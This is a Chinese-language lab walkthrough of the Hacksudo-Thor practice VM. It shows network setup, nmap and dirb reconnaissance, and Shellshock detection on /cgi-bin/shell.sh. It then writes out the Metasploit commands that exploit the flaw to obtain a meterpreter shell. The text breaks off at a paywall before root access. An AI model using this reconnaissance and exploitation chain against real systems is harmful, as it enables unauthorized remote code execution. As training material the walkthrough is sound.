Hacksudo-Thor靶机--详细教学

发布于:2024-03-09 ⋅ 阅读:(137) ⋅ 点赞:(0)

环境

靶机官方下载地址
靶机VirtulaBox: Hacksudo-Thor 192.168.138.9
攻击机VMware : kail 192.168.138.3

VirtulaBox 和 VMware 实现互通

1.将VirtulaBox 的网络设置成 VirtualBox Host-Only

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

2.将VMware也设置成VirtualBox Host-Only

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

主机发现信息收集

arp-scan -l -I eth0
在这里插入图片描述
nmap -A -p- -T5 192.168.138.9 -oN /tmp/nmapScan/hacksudo-thor.txt

我们发现开启了web服务,可以访问http://192.168.138.9:80查看一下网站

在这里插入图片描述

web应用程序评估

  • 开发语言?

这个网站通过浏览器的url可以发现是一个php语言开发的

  • 服务器软件?

通过nmap扫描和浏览器插件,我们可以发现服务器软件是Apache Http Server

  • 用途?

发现是一个银行网站

  • 应用系统类型?

通过nmap扫描得出是个linux系统

  • 数据库类型?

暂时没有发现

推荐软件 :Wappalyzer 可以帮你检测当前网站的信息

在这里插入图片描述

目录爆破

dirb 命令参数

格式:dirb <url_base> [<wordlist_file(s)>] [options]
dirb <网站连接> [字典(可以选)] [操作]
-a 设置user-agent
-p <proxy[:port]>设置代理
-c 设置cookie
-z 添加毫秒延迟,避免洪水攻击
-o 输出结果
-X 在每个字典的后面添加一个后缀
-H 添加请求头
-i 不区分大小写搜索

在这里插入图片描述
这里我们发现有个cgi-bin 的目录,我可以可以尝试对这个文件夹进行扫描看看有没有漏洞
dirb http://192.168.138.9/cgi-bin -X .sh
在这里插入图片描述
扫到shell.sh,看看是否有破壳漏洞
``

扫到shell.sh,看看是否有破壳漏洞
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh 192.168.138.9
–script http-shellshock: http-shellshock 是一个用于检测 Shellshock漏洞的脚本。Shellshock 是一个在 Bash shell 中发现的安全漏洞,允许远程攻击者执行任意代码

在这里插入图片描述
这里nmap扫描出了漏洞直接搜索漏洞

searchsploit shellshock

通过漏洞搜索工具搜索shellshock漏洞
我们发现apache mod_cgi 是存在漏洞的
在这里插入图片描述

通过msf利用漏洞
search shellshock

在这里插入图片描述
use 2
show options
set rhosts 192.168.138.9
set targeturi /cgi-bin/shell.sh
run

在这里插入图片描述
拿到一个meterpreter,我们发现我们拿到了web服务的权限我们要想办法拿到root的权限
shell
id
在这里插入图片描述

本文含有隐藏内容,请 开通VIP 后查看

微信公众号

今日签到

点亮在社区的每一天
去签到